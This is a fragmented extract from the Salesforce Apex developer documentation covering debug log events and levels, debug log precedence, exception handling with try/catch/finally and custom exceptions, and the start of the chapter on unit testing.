(External object access via OData adapter for

Salesforce Connect)

(External object access via OData adapter for

Salesforce Connect)

MyTrigger on Account trigger event

BeforeInsert for [new]
CONSTRUCTOR_ENTRY

Line number, Apex class ID, and the string

<init>() with the types of parameters, if any,
between the parentheses

Apex Code FINE and

above

CONSTRUCTOR_EXIT

Line number and the string <init>() with the

Apex Code FINE and
above
types of parameters, if any, between the parentheses

CUMULATIVE_LIMIT_USAGE

None

Apex
Profiling

INFO and
above

CUMULATIVE_LIMIT_USAGE_END

None

Apex
Profiling

INFO and
above

CUMULATIVE_PROFILING

None

Apex
Profiling

FINE and
above

CUMULATIVE_PROFILING_BEGIN

None

Apex
Profiling

FINE and
above

CUMULATIVE_PROFILING_END

None

Apex
Profiling

FINE and
above

DML_BEGIN

Line number, operation (such as Insert or

DB
Update), record name or type, and number of rows
passed into DML operation

INFO and
above

DML_END

Line number

INFO and
above

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Working with Logs in the Developer Console

Exception type, message, and stack trace

Apex Code ERROR and

above

FLOW_ACTIONCALL_DETAIL

Interview ID, element name, action type, action enum Workflow

or ID, whether the action call succeeded, and error
message

FINER and
above

FLOW_ASSIGNMENT_DETAIL

Interview ID, reference, operator, and value

Workflow

FINER and
above

FLOW_BULK_ELEMENT_BEGIN

runtime exception)

Workflow

ERROR and
above

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Working with Logs in the Developer Console

Event Name

Workflow

FINER and
above

The index is the position in the collection variable for

FLOW_WAIT_EVENT_RESUMING_DETAIL Interview ID, element name, event name, and event Workflow

FINER and
above

type

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Working with Logs in the Developer Console

Event Name

Fields or Information Logged with Event

FLOW_WAIT_EVENT_WAITING_DETAIL

Interview ID, element name, event name, event type, Workflow

and whether conditions were met

FINER and
above

FLOW_WAIT_RESUMING_DETAIL

Interview ID, element name, and persisted interview Workflow

FINER and
above

FLOW_WAIT_WAITING_DETAIL

Interview ID, element name, number of events that Workflow

the element is waiting for, and persisted interview ID

FINER and
above

HEAP_ALLOCATE

Line number and number of bytes

Apex Code FINER and

above

HEAP_DEALLOCATE

Line number and number of bytes deallocated

Apex Code FINER and

above

IDEAS_QUERY_EXECUTE

Line number

FINEST

LIMIT_USAGE_FOR_NS

Namespace and the following limits:

Apex
Profiling

FINEST

Number of SOQL queries

Number of query rows
Number of SOSL queries
Number of DML statements
Number of DML rows
Number of code statements
Maximum heap size
Number of callouts
Number of Email Invocations
Number of fields describes
Number of record type describes
Number of child relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()

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Category Level
Logged
Logged

Debugging Apex

Event Name

Working with Logs in the Developer Console

Fields or Information Logged with Event

Category Level
Logged
Logged

invocations

METHOD_ENTRY

Line number, the Force.com ID of the class, and

method signature

Apex Code FINE and

above

METHOD_EXIT

Line number, the Force.com ID of the class, and

method signature.

Apex Code FINE and

above

For constructors, the following information is logged:

Line number and class name.
POP_TRACE_FLAGS

Line number, the Force.com ID of the class or trigger System

that has its log levels set and that is going into scope,
the name of this class or trigger, and the log level
settings that are in effect after leaving this scope

PUSH_NOTIFICATION_INVALID_APP

App namespace, app name.

INFO and
above

Apex Code ERROR

This event occurs when Apex code is trying to send

a notification to an app that doesn't exist in the org,
or is not push-enabled.
PUSH_NOTIFICATION_INVALID_CERTIFICATE App namespace, app name.

Apex Code ERROR

This event indicates that the certificate is invalid. For

example, its expired.
PUSH_NOTIFICATION_INVALID_NOTIFICATION App namespace, app name, service type (Apple or

Apex Code ERROR

Android GCM), user ID, device, payload (substring),

payload length.
This event occurs when a notification payload is too
long.
PUSH_NOTIFICATION_NO_DEVICES

App namespace, app name.

Apex Code DEBUG

This event occurs when none of the users we're trying

to send notifications to have devices registered.
PUSH_NOTIFICATION_NOT_ENABLED

This event occurs when push notifications are not

enabled in your org.

Apex Code INFO

PUSH_NOTIFICATION_SENT

App namespace, app name, service type (Apple or

Android GCM), user ID, device, payload (substring)

Apex Code DEBUG

This event records that a notification was accepted

for sending. We dont guarantee delivery of the
notification.

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Working with Logs in the Developer Console

Event Name

Fields or Information Logged with Event

PUSH_TRACE_FLAGS

Line number, the Force.com ID of the class or trigger System

that has its log levels set and that is going out of
scope, the name of this class or trigger, and the log
level settings that are in effect after entering this scope

INFO and
above

QUERY_MORE_BEGIN

Line number

INFO and
above

QUERY_MORE_END

Line number

INFO and
above

QUERY_MORE_ITERATIONS

Line number and the number of queryMore

iterations

INFO and
above

SAVEPOINT_ROLLBACK

Line number and Savepoint name

INFO and
above

SAVEPOINT_SET

Line number and Savepoint name

INFO and
above

SLA_END

Number of cases, load time, processing time, number Workflow

of case milestones to insert, update, or delete, and
new trigger

INFO and
above

SLA_EVAL_MILESTONE

Milestone ID

Workflow

INFO and
above

SLA_NULL_START_DATE

None

Workflow

INFO and
above

SLA_PROCESS_CASE

Case ID

Workflow

INFO and
above

SOQL_EXECUTE_BEGIN

Line number, number of aggregations, and query

source

INFO and
above

SOQL_EXECUTE_END

Line number, number of rows, and duration in

milliseconds

INFO and
above

SOSL_EXECUTE_BEGIN

Line number and query source

INFO and
above

SOSL_EXECUTE_END

Line number, number of rows, and duration in

milliseconds

INFO and
above

STACK_FRAME_VARIABLE_LIST

Frame number and variable list of the form:

Variable number | Value. For example:

Apex
Profiling

FINE and
above

var1:50
var2:'Hello World'

528

Category Level
Logged
Logged

Debugging Apex

Working with Logs in the Developer Console

Event Name

Fields or Information Logged with Event

Category Level
Logged
Logged

STATEMENT_EXECUTE

Line number

Apex Code FINER and

above

STATIC_VARIABLE_LIST

Variable list of the form: Variable number |

Value. For example:

Apex
Profiling

FINE and
above

var1:50
var2:'Hello World'

SYSTEM_CONSTRUCTOR_ENTRY

Line number and the string <init>() with the

System
types of parameters, if any, between the parentheses

FINE and
above

SYSTEM_CONSTRUCTOR_EXIT

Line number and the string <init>() with the

System
types of parameters, if any, between the parentheses

FINE and
above

SYSTEM_METHOD_ENTRY

Line number and method signature

System

FINE and
above

SYSTEM_METHOD_EXIT

Line number and method signature

System

FINE and
above

SYSTEM_MODE_ENTER

Mode name

System

INFO and
above

SYSTEM_MODE_EXIT

Mode name

System

INFO and
above

TESTING_LIMITS

None

Apex
Profiling

INFO and
above

TOTAL_EMAIL_RECIPIENTS_QUEUED

Number of emails sent

Apex
Profiling

FINE and
above

USER_DEBUG

Line number, logging level, and user-supplied string Apex Code DEBUG and
above by
default. If the
user sets the
log level for
the
System.Debug

method, the
event is
logged at
that level
instead.
VALIDATION_ERROR

Error message

Validation

INFO and
above

VALIDATION_FAIL

None

Validation

INFO and
above

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Working with Logs in the Developer Console

Event Name

Fields or Information Logged with Event

Category Level
Logged
Logged

VALIDATION_FORMULA

Formula source and values

Validation

INFO and
above

VALIDATION_PASS

None

Validation

INFO and
above

VALIDATION_RULE

Rule name

Validation

INFO and
above

VARIABLE_ASSIGNMENT

Line number, variable name, a string representation Apex Code FINEST

of the variable's value, and the variable's address

VARIABLE_SCOPE_BEGIN

Line number, variable name, type, a value that

Apex Code FINEST
indicates whether the variable can be referenced, and
a value that indicates whether the variable is static

VARIABLE_SCOPE_END

None

Apex Code FINEST

WF_ACTION

Action description

Workflow

INFO and
above

WF_ACTION_TASK

Task subject, action ID, rule, owner, and due date

Workflow

INFO and
above

INFO and
above

WF_APPROVAL_SUBMIT

EntityName: NameField Id

INFO and
above

or field name
WF_FLOW_ACTION_BEGIN

ID of flow trigger

Workflow

INFO and
above

WF_FLOW_ACTION_DETAIL

ID of flow trigger, object type and ID of record whose Workflow

creation or update caused the workflow rule to fire,
name and ID of workflow rule, and the names and
values of flow variables or sObject variables

FINE and
above

WF_FLOW_ACTION_END

ID of flow trigger

Workflow

INFO and
above

WF_FLOW_ACTION_ERROR

ID of flow trigger, ID of flow definition, ID of flow

version, and flow error message

Workflow

ERROR and
above

WF_FLOW_ACTION_ERROR_DETAIL

Detailed flow error message

Workflow

ERROR and
above

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Working with Logs in the Developer Console

Workflow

INFO and
above

WF_REASSIGN_RECORD

EntityName: NameField Id and owner

Workflow

INFO and
above

WF_RESPONSE_NOTIFY

Notifier name, notifier email, and notifier template ID Workflow

INFO and
above

WF_RULE_ENTRY_ORDER

Integer and indicating order

Workflow

INFO and
above

WF_RULE_EVAL_BEGIN

Rule type

Workflow

INFO and
above

WF_RULE_EVAL_END

None

Workflow

INFO and
above

WF_RULE_EVAL_VALUE

Value

Workflow

INFO and
above

WF_RULE_FILTER

Filter criteria

Workflow

INFO and
above

WF_RULE_INVOCATION

EntityName: NameField Id

Workflow

INFO and
above

WF_RULE_NOT_EVALUATED

None

Workflow

INFO and
above

WF_SOFT_REJECT

Process name

Workflow

INFO and
above

WF_SPOOL_ACTION_BEGIN

Node type

Workflow

INFO and
above

WF_TIME_TRIGGER

EntityName: NameField Id, time action,

Workflow

INFO and
above

time action container, and evaluation Datetime

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Debugging Apex

Debugging Apex API Calls

Event Name

Fields or Information Logged with Event

Category Level
Logged
Logged

WF_TIME_TRIGGERS_BEGIN

None

Workflow

INFO and
above

SEE ALSO:
Salesforce Help: Debug Log Levels

Debugging Apex API Calls

All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the code, including
any calls to System.debug(). The categories field of a SOAP input header called DebuggingHeader allows you to set
the logging granularity according to the levels outlined in this table.
Element Name

Type

Description

Specifies the level of detail returned in the debug log.

Valid log levels are (listed from lowest to highest):
NONE
ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST

In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility.

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Debugging Apex

Debug Log Order of Precedence

Log Level

Description

NONE

Does not include any log messages.

DEBUGONLY

Includes lower-level messages, and messages generated by calls to the System.debug

method.

Includes log messages generated by calls to the System.debug method, and every data
manipulation language (DML) statement or inline SOQL or SOSL query.

PROFILE

Includes log messages generated by calls to the System.debug method, every DML
statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method.
In addition, the end of the debug log contains overall profiling information for the portions of
the request that used the most resources. This profiling information is presented in terms of
SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections
list the locations in the code that consumed the most time, in descending order of total
cumulative time. Also listed is the number of times the categories executed.

CALLOUT

DETAIL

Includes all messages generated by the PROFILE level and the following.
Variable declaration statements
Start of loop executions
All loop controls, such as break and continue
Thrown exceptions *
Static and class initialization code *
Any changes in the with sharing context

The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see DebuggingHeader
on page 2581.

Debug Log Order of Precedence

Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API header,
user-based system log enablement, and the log levels set by your entry points.
The order of precedence for debug log levels is:
1. Trace flags override all other logging logic. The Developer Console sets a trace flag when it loads, and that trace flag remains in effect
until it expires. You can set trace flags in the Developer Console or in Setup or by using the TraceFlag and DebugLevel
Tooling API objects.
Note: Setting class and trigger trace flags doesnt cause logs to be generated or saved. Class and trigger trace flags override
other logging levels, including logging levels set by user trace flags, but they dont cause logging to occur. If logging is enabled
when classes or triggers execute, logs are generated at the time of execution.
2. If you dont have active trace flags, synchronous and asynchronous Apex tests execute with the default logging levels. Default logging
levels are:

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Debugging Apex

Exceptions in Apex

DB
INFO
APEX_CODE
DEBUG
APEX_PROFILING
INFO
WORKFLOW
INFO
VALIDATION
INFO
CALLOUT
INFO
VISUALFORCE
INFO
SYSTEM
DEBUG
3. If no relevant trace flags are active, and no tests are running, your API header sets your logging levels. API requests that are sent
without debugging headers generate transient logslogs that arent savedunless another logging rule is in effect.
4. If your entry point sets a log level, that log level is used. For example, Visualforce requests can include a debugging parameter that
sets log levels.
If none of these cases apply, logs arent generated or persisted.

Exceptions in Apex
Exceptions note errors and other events that disrupt the normal flow of code execution. throw statements are used to generate
exceptions, while try, catch, and finally statements are used to gracefully recover from exceptions.
There are many ways to handle errors in your code, including using assertions like System.assert calls, or returning error codes
or Boolean values, so why use exceptions? The advantage of using exceptions is that they simplify error handling. Exceptions bubble up
from the called method to the caller, as many levels as necessary, until a catch statement is found to handle the error. This bubbling
up relieves you from writing error handling code in each of your methods. Also, by using finally statements, you have one place
to recover from exceptions, like resetting variables and deleting data.

What Happens When an Exception Occurs?

When an exception occurs, code execution halts. Any DML operations that were processed before the exception are rolled back and
arent committed to the database. Exceptions get logged in debug logs. For unhandled exceptions, that is, exceptions that the code
doesnt catch, Salesforce sends an email that includes the exception information. The end user sees an error message in the Salesforce
user interface.

Unhandled Exception Emails

When unhandled Apex exceptions occur, emails are sent that include the Apex stack trace and the customers org and user ID. No other
customer data is returned with the report. Unhandled exception emails are sent by default to the developer specified in the

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LastModifiedBy field on the failing class or trigger. In addition, you can have emails sent to users of your Salesforce org and to
arbitrary email addresses. To set up these email notifications, from Setup, enter Apex Exception Email in the Quick Find
box, then select Apex Exception Email. You can also configure Apex exception emails using the Tooling API object ApexEmailNotification.

Note: If duplicate exceptions occur in Apex code that runs synchronously, subsequent exception emails are suppressed and only
the first email is sent. This email suppression prevents flooding of the developers inbox with emails about the same error. For
asynchronous Apex, including batch Apex and methods annotated with @future, emails for duplicate exceptions arent
suppressed.

Unhandled Exceptions in the User Interface

If an end user runs into an exception that occurred in Apex code while using the standard user interface, an error message appears. The
error message includes text similar to the notification shown here.

Exception Statements
Apex uses exceptions to note errors and other events that disrupt the normal flow of code execution. throw statements can be used
to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception.

Throw Statements
A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and provide it
with an exception object to provide information about the specific error. For example:
throw exceptionObject;

Try-Catch-Finally Statements
The try, catch, and finally statements can be used to gracefully recover from a thrown exception:
The try statement identifies a block of code in which an exception can occur.
The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can have
zero or more associated catch statements. Each catch statement must have a unique exception type. Also, once a particular
exception type is caught in one catch block, the remaining catch blocks, if any, arent executed.

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The finally statement identifies a block of code that is guaranteed to execute and allows you to clean up your code. A single
try statement can have up to one associated finally statement. Code in the finally block always executes regardless of
whether an exception was thrown or the type of exception that was thrown. Because the finally block always executes, use it
for cleanup code, such as for freeing up resources.

Syntax
The syntax of the try, catch, and finally statements is as follows.
try {
// Try block

code_block
} catch (exceptionType variableName) {
// Initial catch block.
// At least the catch block or the finally block must be present.

code_block
} catch (Exception e) {
// Optional additional catch statement for other exception types.
// Note that the general exception type, 'Exception',
// must be the last catch block when it is used.

code_block
} finally {
// Finally block.
// At least the catch block or the finally block must be present.

code_block
}

At least a catch block or a finally block must be present with a try block. The following is the syntax of a try-catch block.
try {

code_block
} catch (exceptionType variableName) {

code_block
}
// Optional additional catch blocks

The following is the syntax of a try-finally block.

try {

code_block
} finally {

code_block
}

This is a skeletal example of a try-catch-finally block.

try {
// Perform some operation that
//
might cause an exception.
} catch(Exception e) {
// Generic exception handling code here.
} finally {
// Perform some clean up.
}

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Exceptions that Cant be Caught

Some special types of built-in exceptions cant be caught. Those exceptions are associated with critical situations in the Force.com
platform. These situations require the abortion of code execution and dont allow for execution to resume through exception handling.
One such exception is the limit exception (System.LimitException) that the runtime throws if a governor limit has been
exceeded, such as when the maximum number of SOQL queries issued has been exceeded. Other examples are exceptions thrown
when assertion statements fail (through System.assert methods) or license exceptions.
When exceptions are uncatchable, catch blocks, as well as finally blocks if any, arent executed.

Exception Handling Example

To see an exception in action, execute some code that causes a DML exception to be thrown. Execute the following in the Developer
Console:
Merchandise__c m = new Merchandise__c();
insert m;

The insert DML statement in the example causes a DmlException because were inserting a merchandise item without setting any
of its required fields. This is the exception error that you see in the debug log.
System.DmlException: Insert failed. First exception on row 0; first error:
REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total
Inventory]: [Description, Price, Total Inventory]

Next, execute this snippet in the Developer Console. Its based on the previous example but includes a try-catch block.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}

Notice that the request status in the Developer Console now reports success. This is because the code handles the exception.
Any statements in the try block occurring after the exception are skipped and arent executed. For example, if you add a statement after
insert m;, this statement wont be executed. Execute the following:
try {
Merchandise__c m = new Merchandise__c();
insert m;
// This doesn't execute since insert causes an exception
System.debug('Statement after insert.');
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}

In the new debug log entry, notice that you dont see a debug message of Statement after insert. This is because this debug
statement occurs after the exception caused by the insertion and never gets executed. To continue the execution of code statements
after an exception happens, place the statement after the try-catch block. Execute this modified code snippet and notice that the debug
log now has a debug message of Statement after insert.
try {
Merchandise__c m = new Merchandise__c();
insert m;

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} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
// This will get executed
System.debug('Statement after insert.');

Alternatively, you can include additional try-catch blocks. This code snippet has the System.debug statement inside a second
try-catch block. Execute it to see that you get the same result as before.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
try {
System.debug('Statement after insert.');
// Insert other records
}
catch (Exception e) {
// Handle this exception here
}

The finally block always executes regardless of what exception is thrown, and even if no exception is thrown. Lets see it used in action.
Execute the following:
// Declare the variable outside the try-catch block
// so that it will be in scope for all blocks.
XmlStreamWriter w = null;
try {
w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeStartElement(null, 'book', null);
w.writeCharacters('This is my book');
w.writeEndElement();
w.writeEndDocument();
// Perform some other operations
String s;
// This causes an exception because
// the string hasn't been assigned a value.
Integer i = s.length();
} catch(Exception e) {
System.debug('An exception occurred: ' + e.getMessage());
} finally {
// This gets executed after the exception is handled
System.debug('Closing the stream writer in the finally block.');
// Close the stream writer
w.close();
}

You can use common exception methods to get more information about an exception, such as the exception error message or the stack
trace. The previous example calls the getMessage method, which returns the error message associated with the exception. There
are other exception methods that are also available. Here are descriptions of some useful methods:
getCause: Returns the cause of the exception as an exception object.
getLineNumber: Returns the line number from where the exception was thrown.
getMessage: Returns the error message that displays for the user.
getStackTraceString: Returns the stack trace as a string.
getTypeName: Returns the type of exception, such as DmlException, ListException, MathException, and so on.
Example
To find out what some of the common methods return, try running this example.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(Exception e) {
System.debug('Exception type caught: ' + e.getTypeName());
System.debug('Message: ' + e.getMessage());
System.debug('Cause: ' + e.getCause());
// returns null
System.debug('Line number: ' + e.getLineNumber());
System.debug('Stack trace: ' + e.getStackTraceString());
}

The output of all System.debug statements looks like the following:

The catch statement argument type is the generic Exception type. It caught the more specific SObjectException. You can verify that this
is so by inspecting the return value of e.getTypeName() in the debug output. The output also contains other properties of the
SObjectException, like the error message, the line number where the exception occurred, and the stack trace. You might be wondering
why getCause returned null. This is because in our sample there was no previous exception (inner exception) that caused this
exception. In Creating Custom Exceptions, youll get to see an example where the return value of getCause is an actual exception.

More Exception Methods

Some exception types, such as DmlException, have specific exception methods that apply to only them and arent common to other
exception types:
getDmlFieldNames(Index of the failed record): Returns the names of the fields that caused the error for the
specified failed record.
getDmlId(Index of the failed record): Returns the ID of the failed record that caused the error for the specified
failed record.

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getDmlMessage(Index of the failed record): Returns the error message for the specified failed record.
getNumDml: Returns the number of failed records.
Example
This snippet makes use of the DmlException methods to get more information about the exceptions returned when inserting a list of
Merchandise objects. The list of items to insert contains three items, the last two of which dont have required fields and cause exceptions.
Merchandise__c m1 = new Merchandise__c(
Name='Coffeemaker',
Description__c='Kitchenware',
Price__c=25,
Total_Inventory__c=1000);
// Missing the Price and Total_Inventory fields
Merchandise__c m2 = new Merchandise__c(
Name='Coffeemaker B',
Description__c='Kitchenware');
// Missing all required fields
Merchandise__c m3 = new Merchandise__c();
Merchandise__c[] mList = new List<Merchandise__c>();
mList.add(m1);
mList.add(m2);
mList.add(m3);
try {
insert mList;
} catch (DmlException de) {
Integer numErrors = de.getNumDml();
System.debug('getNumDml=' + numErrors);
for(Integer i=0;i<numErrors;i++) {
System.debug('getDmlFieldNames=' + de.getDmlFieldNames(i));
System.debug('getDmlMessage=' + de.getDmlMessage(i));
}
}

Note how the sample above didnt include all the initial code in the try block. Only the portion of the code that could generate an
exception is wrapped inside a try block, in this case the insert statement could return a DML exception in case the input data is
not valid. The exception resulting from the insert operation is caught by the catch block that follows it. After executing this
sample, youll see an output of System.debug statements similar to the following:
14:01:24:939 USER_DEBUG [20]|DEBUG|getNumDml=2
14:01:24:941 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Price, Total Inventory)
14:01:24:941 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Price,
Total Inventory]
14:01:24:942 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Description, Price, Total Inventory)
14:01:24:942 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing:
[Description, Price, Total Inventory]

The number of DML failures is correctly reported as two since two items in our list fail insertion. Also, the field names that caused the
failure, and the error message for each failed record is written to the output.

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Catching Different Exception Types

In the previous examples, we used the specific exception type in the catch block. We could have also just caught the generic Exception
type in all examples, which catches all exception types. For example, try running this example that throws an SObjectException and has
a catch statement with an argument type of Exception. The SObjectException gets caught in the catch block.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(Exception e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}

Alternatively, you can have several catch blocksa catch block for each exception type, and a final catch block that catches the generic
Exception type. Look at this example. Notice that it has three catch blocks.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
} catch(Exception e) {
System.debug('Exception caught: ' + e.getMessage());
}

Remember that only one catch block gets executed and the remaining ones are bypassed. This example is similar to the previous one,
except that it has a few more catch blocks. When you run this snippet, an SObjectException is thrown on this line: Double inventory
= m.Total_Inventory__c;. Every catch block is examined in the order specified to find a match between the thrown exception
and the exception type specified in the catch block argument:
1. The first catch block argument is of type DmlException, which doesnt match the thrown exception (SObjectException.)
2. The second catch block argument is of type SObjectException, which matches our exception, so this block gets executed and the
following message is written to the debug log: SObjectException caught: SObject row was retrieved via
SOQL without querying the requested field: Merchandise__c.Total_Inventory__c.
3. The last catch block is ignored since one catch block has already executed.
The last catch block is handy because it catches any exception type, and so catches any exception that was not caught in the previous
catch blocks. Suppose we modified the code above to cause a NullPointerException to be thrown, this exception gets caught in the last
catch block. Execute this modified example. Youll see the following debug message: Exception caught: Attempt to
de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
} catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());

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Creating Custom Exceptions

} catch(Exception e) {
System.debug('Exception caught: ' + e.getMessage());
}

Creating Custom Exceptions

You cant throw built-in Apex exceptions but can only catch them. With custom exceptions, you can throw and catch them in your
methods. Custom exceptions enable you to specify detailed error messages and have more custom error handling in your catch blocks.
Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement interfaces,
and so on.
To create your custom exception class, extend the built-in Exception class and make sure your class name ends with the word
Exception, such as MyException or PurchaseException. All exception classes extend the system-defined base class Exception,
and therefore, inherits all common Exception methods.
This example defines a custom exception called MyException.
public class MyException extends Exception {}

Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any object in this inheritance
tree. For example:
public class BaseException extends Exception {}
public class OtherException extends BaseException {}
try {
Integer i;
// Your code here
if (i < 5) throw new OtherException('This is bad');
} catch (BaseException e) {
// This catches the OtherException
}

Here are some ways you can create your exceptions objects, which you can then throw.
You can construct exceptions:
With no arguments:
new MyException();

With a single String argument that specifies the error message:

new MyException('This is bad');

With a single Exception argument that specifies the cause and that displays in any stack trace:
new MyException(e);

With both a String error message and a chained exception cause that displays in any stack trace:
new MyException('This is bad', e);

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Rethrowing Exceptions and Inner Exceptions

After catching an exception in a catch block, you have the option to rethrow the caught exception variable. This is useful if your method
is called by another method and you want to delegate the handling of the exception to the caller method. You can rethrow the caught
exception as an inner exception in your custom exception and have the main method catch your custom exception type.
The following example shows how to rethrow an exception as an inner exception. The example defines two custom exceptions,
My1Exception and My2Exception, and generates a stack trace with information about both.
// Define two custom exceptions
public class My1Exception extends Exception {}
public class My2Exception extends Exception {}
try {
// Throw first exception
throw new My1Exception('First exception');
} catch (My1Exception e) {
// Throw second exception with the first
// exception variable as the inner exception
throw new My2Exception('Thrown with inner exception', e);
}

This is how the stack trace looks like resulting from running the code above:
15:52:21:073 EXCEPTION_THROWN [7]|My1Exception: First exception
15:52:21:077 EXCEPTION_THROWN [11]|My2Exception: Throw with inner exception
15:52:21:000 FATAL_ERROR AnonymousBlock: line 11, column 1
15:52:21:000 FATAL_ERROR Caused by
15:52:21:000 FATAL_ERROR AnonymousBlock: line 7, column 1

The example in the next section shows how to handle an exception with an inner exception by calling the getCause method.

Inner Exception Example

Now that youve seen how to create a custom exception class and how to construct your exception objects, lets create and run an
example that demonstrates the usefulness of custom exceptions.
1. In the Developer Console, create a class named MerchandiseException and add the following to it:
public class MerchandiseException extends Exception {}

Youll use this exception class in the second class that youll create. Note that the curly braces at the end enclose the body of your
exception class, which we left empty because we get some free codeour class inherits all the constructors and common exception
methods, such as getMessage, from the built-in Exception class.
2. Next, create a second class named MerchandiseUtility.
public class MerchandiseUtility {
public static void mainProcessing() {
try {
insertMerchandise();
} catch(MerchandiseException me) {
System.debug('Message: ' + me.getMessage());
System.debug('Cause: ' + me.getCause());
System.debug('Line number: ' + me.getLineNumber());

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System.debug('Stack trace: ' + me.getStackTraceString());

}
}
public static void insertMerchandise() {
try {
// Insert merchandise without required fields
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
// Something happened that prevents the insertion
// of Employee custom objects, so throw a more
// specific exception.
throw new MerchandiseException(
'Merchandise item could not be inserted.', e);
}
}
}

This class contains the mainProcessing method, which calls insertMerchandise. The latter causes an exception by
inserting a Merchandise without required fields. The catch block catches this exception and throws a new exception, the custom
MerchandiseException you created earlier. Notice that we called a constructor for the exception that takes two arguments: the error
message, and the original exception object. You might wonder why we are passing the original exception? Because it is useful
informationwhen the MerchandiseException gets caught in the first method, mainProcessing, the original exception
(referred to as an inner exception) is really the cause of this exception because it occurred before the MerchandiseException.
3. Now lets see all this in action to understand better. Execute the following:
MerchandiseUtility.mainProcessing();

4. Check the debug log output. You should see something similar to the following:
18:12:34:928 USER_DEBUG [6]|DEBUG|Message: Merchandise item could not be inserted.
18:12:34:929 USER_DEBUG [7]|DEBUG|Cause: System.DmlException: Insert failed. First
exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing:
[Description, Price, Total Inventory]: [Description, Price, Total Inventory]
18:12:34:929 USER_DEBUG [8]|DEBUG|Line number: 22
18:12:34:930 USER_DEBUG [9]|DEBUG|Stack trace:
Class.EmployeeUtilityClass.insertMerchandise: line 22, column 1

A few items of interest:

The cause of MerchandiseException is the DmlException. You can see the DmlException message also that states that required
fields were missing.
The stack trace is line 22, which is the second time an exception was thrown. It corresponds to the throw statement of
MerchandiseException.
throw new MerchandiseException('Merchandise item could not be inserted.', e);

547

CHAPTER 13 Testing Apex

In this chapter ...

Understanding
Testing in Apex

What to Test in Apex

What are Apex Unit

Tests?

Understanding Test
Data

Run Unit Test

Methods

Testing Best Practices

Testing Example

Testing and Code

Coverage

Code Coverage Best

Practices

Apex provides a testing framework that allows you to write unit tests, run your tests, check test results,
and have code coverage results.
This chapter provides covers unit tests, data visibility for tests, as well as the tools that are available on
the Force.com platform for testing Apex. Testing best practices and a testing example are also provided.

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Understanding Testing in Apex

This is the corresponding test class. It contains four test methods. Each method in the previous class is called. Although this would have
been enough for test coverage, the test methods in the test class perform additional testing to verify boundary conditions.
@isTest
class TVRemoteControlTest {
@isTest static void testVolumeIncrease() {
TVRemoteControl rc = new TVRemoteControl(10);

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What are Apex Unit Tests?

Integer newVolume = rc.increaseVolume(15);

System.assertEquals(25, newVolume);
}
@isTest static void testVolumeDecrease() {
TVRemoteControl rc = new TVRemoteControl(20);
Integer newVolume = rc.decreaseVolume(15);
System.assertEquals(5, newVolume);
}
@isTest static void testVolumeIncreaseOverMax() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.increaseVolume(100);
System.assertEquals(50, newVolume);
}
@isTest static void testVolumeDecreaseUnderMin() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.decreaseVolume(100);
System.assertEquals(0, newVolume);
}
@isTest static void testGetMenuOptions() {
// Static method call. No need to create a class instance.
String menu = TVRemoteControl.getMenuOptions();
System.assertNotEquals(null, menu);
System.assertNotEquals('', menu);
}
}

Understanding Test Data

Apex test data is transient and isnt committed to the database.
This means that after a test method finishes execution, the data inserted by the test doesnt persist in the database. As a result, there is
no need to delete any test data at the conclusion of a test. Likewise, all the changes to existing records, such as updates or deletions,
dont persist. This transient behavior of test data makes the management of data easier as you dont have to perform any test data
cleanup. At the same time, if your tests access organization data, this prevents accidental deletions or modifications to existing records.
By default, existing organization data isnt visible to test methods, with the exception of certain setup objects. You should create test
data for your test methods whenever possible. However, test code saved against Salesforce API version 23.0 or earlier has access to all
data in the organization. Data visibility for tests is covered in more detail in the next section.

Isolation of Test Data from Organization Data in Unit Tests

Starting with Apex code saved using Salesforce API version 24.0 and later, test methods dont have access by default to pre-existing data
in the organization, such as standard objects, custom objects, and custom settings data, and can only access data that they create.
However, objects that are used to manage your organization or metadata objects can still be accessed in your tests such as:
User
Profile
Organization
AsyncApexJob
CronTrigger
RecordType
ApexClass
ApexTrigger
ApexComponent
ApexPage
